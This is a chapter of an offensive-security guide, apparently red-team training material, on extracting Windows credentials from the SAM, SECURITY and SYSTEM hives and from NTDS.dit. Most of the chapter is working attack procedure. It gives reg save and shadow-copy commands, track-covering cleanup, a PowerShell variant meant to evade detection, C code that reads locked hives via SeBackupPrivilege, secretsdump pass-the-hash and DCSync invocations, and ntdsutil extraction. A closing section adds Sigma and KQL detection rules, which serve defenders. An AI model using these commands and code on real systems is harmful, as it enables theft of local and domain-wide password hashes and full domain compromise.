Chapter 129

SAM and Registry Credential Dumping

Registry-based credential extraction: SAM hive structure, SYSKEY/BOOTKEY encryption, reg save for live hive copy, VSS shadow copy access, SeBackupPrivilege raw file reads, Impacket secretsdump.py, and full NTDS.dit domain extraction from a Domain Controller.

Scenario

You have SYSTEM on a domain-joined Windows Server and Credential Guard is enabled — LSASS dumping yields nothing useful. But the SAM hive contains local account hashes (including the built-in Administrator), the SECURITY hive contains domain-cached credentials (DCC2 hashes from the last ten domain logons), and on the Domain Controller, NTDS.dit contains every domain account's NT hash. None of these require reading LSASS memory. You need the SAM and SECURITY hives, the SYSTEM hive (for the BOOTKEY), and optionally NTDS.dit — then offline parsing via Impacket's secretsdump or Mimikatz can decrypt everything.

SAM Hive Encryption Architecture

SAM hive encryption layers (Windows 2000 onward): Layer 1: BOOTKEY (also called SYSKEY) Location: HKLM\SYSTEM\CurrentControlSet\Control\LSA Stored scrambled across 4 registry values: JD, Skew1, GBG, Data Each value's class name (not data!) contains the key fragment Reassemble + descramble → 16-byte BOOTKEY Layer 2: HASHED BOOTKEY (HBoot) BOOTKEY + LSA SecretKey (from SECURITY hive) → AES-256 → 32-byte HBootKey Purpose: derive per-account encryption keys Layer 3: Per-account NT hash encryption Old method (Windows XP/2003): RC4 + MD5 + RID (account relative ID) Modern method (Win Vista+): AES-128-CBC with IV from account record SAM hive location: C:\Windows\System32\config\SAM SYSTEM hive: C:\Windows\System32\config\SYSTEM SECURITY hive: C:\Windows\System32\config\SECURITY Key data in each: SAM → local account NT hashes (encrypted) SYSTEM → BOOTKEY (needed to decrypt SAM + SECURITY) SECURITY → LSA secrets, domain-cached credentials (DCC2), DPAPI master keys NTDS.dit → all domain account hashes (DC only): C:\Windows\NTDS\ntds.dit

reg save — Live Hive Copy

# reg save exports a live registry hive to a file
# Requires: admin rights (SYSTEM preferred)
# The SAM hive is locked by the OS — reg save uses a VSC snapshot internally
# to capture a consistent copy

# Export the three required hives
reg save HKLM\SAM       C:\Temp\sam.hive    /y
reg save HKLM\SYSTEM    C:\Temp\system.hive /y
reg save HKLM\SECURITY  C:\Temp\security.hive /y

# Exfiltrate the three files, then parse offline with secretsdump:
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

# Output format:
# [*] Decrypting SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#   field: username:RID:LM_hash:NT_hash:::
#   LM hash aad3b435... = empty LM hash placeholder
#   NT hash 31d6cfe0... = empty password (example — use real hashes in your lab)
#
# [*] Decrypting LSA Secrets
# $MACHINE.ACC: ... (machine account hash — enables Kerberos from machine account)
# DefaultPassword: ... (autologon password in plaintext if set)
# DPAPI_SYSTEM: ... (DPAPI master key decrypt for SYSTEM context)
#
# [*] Decrypting cached domain credentials
# DOMAIN/username:$DCC2$10240#username#...::: (DCC2 hash — slow to crack)

VSS Shadow Copy Method

# Volume Shadow Copy Service: access locked files that the OS holds open
# Windows creates VSS snapshots during backup operations
# We can create one on-demand, then access the SAM hive through the shadow copy path

# Check existing shadow copies (may already have one)
vssadmin list shadows

# Create new shadow copy
vssadmin create shadow /for=C:
# Output: Shadow Copy ID: {GUID}
#          Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# Access hives via shadow copy (bypasses OS lock on C:\Windows\System32\config\)
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" C:\Temp\sam.hive
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\system.hive
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY" C:\Temp\security.hive

# Cleanup (delete shadow copy to cover tracks)
vssadmin delete shadows /Shadow={GUID} /quiet

# PowerShell alternative (more verbose but avoids vssadmin.exe detection)
$vss = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$sc  = Get-WmiObject Win32_ShadowCopy | Sort-Object InstallDate | Select-Object -Last 1
$shadowPath = $sc.DeviceObject + "\"
Copy-Item "${shadowPath}Windows\System32\config\SAM" C:\Temp\sam.hive

SeBackupPrivilege Raw File Read

// SeBackupPrivilege: assigned to Backup Operators group
// Allows bypassing DACL on any file by opening with FILE_FLAG_BACKUP_SEMANTICS
// No shadow copy needed — directly reads locked registry hive files

BOOL BackupReadFile(const wchar_t* src, const wchar_t* dst) {
    // Enable SeBackupPrivilege on current token
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    TOKEN_PRIVILEGES tp = {1};
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

    // Open with FILE_FLAG_BACKUP_SEMANTICS — bypasses DACL checks
    HANDLE hSrc = CreateFileW(src,
                               GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE,
                               NULL, OPEN_EXISTING,
                               FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hSrc == INVALID_HANDLE_VALUE) return FALSE;

    HANDLE hDst = CreateFileW(dst, GENERIC_WRITE, 0, NULL,
                                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    BYTE buf[65536];
    DWORD read, written;
    while (ReadFile(hSrc, buf, sizeof(buf), &read, NULL) && read > 0)
        WriteFile(hDst, buf, read, &written, NULL);

    CloseHandle(hSrc);
    CloseHandle(hDst);
    return TRUE;
}

// Usage:
BackupReadFile(L"C:\\Windows\\System32\\config\\SAM",    L"C:\\Temp\\sam.hive");
BackupReadFile(L"C:\\Windows\\System32\\config\\SYSTEM", L"C:\\Temp\\system.hive");
// Works even without admin: Backup Operators is sufficient, not SYSTEM required

Impacket secretsdump.py — Full Parse Walk

# secretsdump.py supports remote and local extraction
# Remote (authenticated DC session): extracts NTDS.dit via DRSUAPI (DCSync)
# Local: parses exported hive files without touching the live system

# Remote SAM dump (admin creds required)
secretsdump.py DOMAIN/Administrator:Password@10.10.10.5

# Remote NTDS dump via DRSUAPI (Domain Admin required on DC)
secretsdump.py DOMAIN/DomainAdmin:Password@dc01.domain.local -just-dc

# Remote with NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 DOMAIN/Administrator@dc01.domain.local

# Specific secrets only
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
secretsdump.py -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCAL

# Output types explained:
# domain\user:RID:LM:NT:::        SAM local account hashes
# domain\user:RID:LM:NT:::        NTDS domain account hashes
# domain\user$:RID:LM:NT:::       Machine account (NTLM for Silver Ticket)
# $DCC2$10240#user#...            Domain Cached Credentials version 2
# _SC_DPAPI_SYSTEM                SYSTEM DPAPI master key
# $MACHINE.ACC                    Machine account NT hash
# DefaultPassword                 Autologon plaintext password (if configured)
# SECURITY/Policy/Secrets/*       Named LSA secrets (service account passwords)

NTDS.dit — Full Domain Extract

NTDS.dit: the Active Directory database on Domain Controllers Location: C:\Windows\NTDS\ntds.dit Also need: C:\Windows\NTDS\edb.log (transaction logs) for consistent state And: C:\Windows\System32\config\SYSTEM (for BOOTKEY/PEK decryption) Extraction methods: 1. Volume Shadow Copy (no replication permissions needed) vssadmin create shadow /for=C: copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit" ntds.dit copy "\\?\GLOBALROOT\Device\..." SYSTEM hive secretsdump.py -ntds ntds.dit -system system.hive LOCAL 2. ntdsutil.exe (built-in Windows utility, leaves log evidence) ntdsutil "ac i ntds" "ifm" "create full C:\Temp\dump" q q → Creates C:\Temp\dump\Active Directory\ntds.dit and registry hive 3. DRSUAPI DCSync (no file access — uses replication protocol) Mimikatz: lsadump::dcsync /domain:domain.local /all /csv secretsdump.py -just-dc DOMAIN/DomainAdmin:Password@dc01 → Replicates all secrets via GetNCChanges RPC → Requires: Replicating Directory Changes + Replicating Directory Changes All (both on domain NC — Domain Admins have these) NTDS.dit decryption: Database uses ESE (Extensible Storage Engine) format Hashes are encrypted with PEK (Password Encryption Key) PEK stored in NTDS.dit, encrypted with BOOTKEY from SYSTEM hive secretsdump handles: BOOTKEY → PEK → per-account hash decryption Output: domain\user:RID:LM:NT::: — same format as SAM

Detection Engineering

-- Sigma: reg save of sensitive hives
title: Registry Save of Credential-Bearing Hives (SAM/SECURITY/SYSTEM)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\reg.exe'
    CommandLine|contains:
      - 'save'
    CommandLine|contains:
      - 'HKLM\SAM'
      - 'HKLM\SECURITY'
      - 'HKLM\SYSTEM'
  condition: selection
level: high

-- Sigma: ntdsutil.exe IFM creation (NTDS.dit extract)
title: NTDS.dit Extraction via ntdsutil IFM
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\ntdsutil.exe'
    CommandLine|contains|all:
      - 'ifm'
      - 'create'
  condition: selection
level: critical

-- Sigma: DCSync via DRSUAPI replication (4662 — AD object access)
title: DCSync — Directory Replication Services Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: '%{19195a5b-6da0-11d0-afd3-00c04fd930c9}'  # domainDNS object
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
  filter_legit:
    SubjectUserName|endswith: '$'    # exclude machine accounts (legitimate DC replication)
  condition: selection AND NOT filter_legit
level: critical

-- MDE KQL: shadow copy creation for credential access
DeviceProcessEvents
| where FileName in~ ("vssadmin.exe", "wmic.exe")
| where ProcessCommandLine has_any ("shadow", "create")
| where ProcessCommandLine !has "backup"    // filter legitimate backup jobs
| project Timestamp, DeviceName, AccountName,
          ProcessCommandLine, InitiatingProcessFileName
MethodHives NeededAdmin ReqTouches LSASSPrimary Detection
reg save + secretsdumpSAM + SYSTEM + SECURITYYesNoEvent 4656/4663 on SAM; reg.exe cmdline
VSS shadow copySame via shadow pathYesNovssadmin.exe process creation; shadow object creation Event 8222
SeBackupPrivilege raw readSame via FILE_FLAG_BACKUP_SEMANTICSBackup OperatorsNo4656 with SE_BACKUP_PRIVILEGE; 4663 on SAM file
ntdsutil IFMNTDS.ditDomain AdminNontdsutil.exe with "ifm create" cmdline
DRSUAPI DCSyncNone (RPC)Replication rightsNoEvent 4662 DS-Replication-Get-Changes-All from non-DC account

Q&A

What is the difference between DCC1 (MSCache) and DCC2 (MSCachev2) hashes, and can you crack them?

Domain Cached Credentials (DCC) store the last N successful domain logon hashes on a machine so users can log in when the DC is unreachable. DCC1 (MSCachev1) — used on Windows XP and Server 2003: the hash is MD4(MD4(password) || lower(username)). It's essentially a modified NTLM hash and can be cracked with hashcat mode 1100 at reasonable speed. DCC2 (MSCachev2) — used on Windows Vista+ (the current default): the hash is PBKDF2(HMAC-SHA1, DCC1, username, iterations=10240). The PBKDF2 iteration count (10240 by default) makes brute-force dramatically slower — roughly 100x slower than NTLM on a modern GPU. Hashcat mode 2100 handles DCC2. Cracking is feasible if: the password is in a wordlist, the password is short (<8 chars), or you have significant GPU resources. Operationally, DCC2 hashes are not directly usable for Pass-the-Hash — you cannot authenticate with a DCC2 hash against a DC; you need either the plaintext password (from cracking) or an NT hash. The NT hash stored in NTDS.dit is directly usable for PtH. Detection teams should alert on any access to the SECURITY hive or its cached-credentials subkey (HKLM\SECURITY\Cache) as an anomalous activity — there's no legitimate user-space reason to read those registry entries outside of domain authentication infrastructure.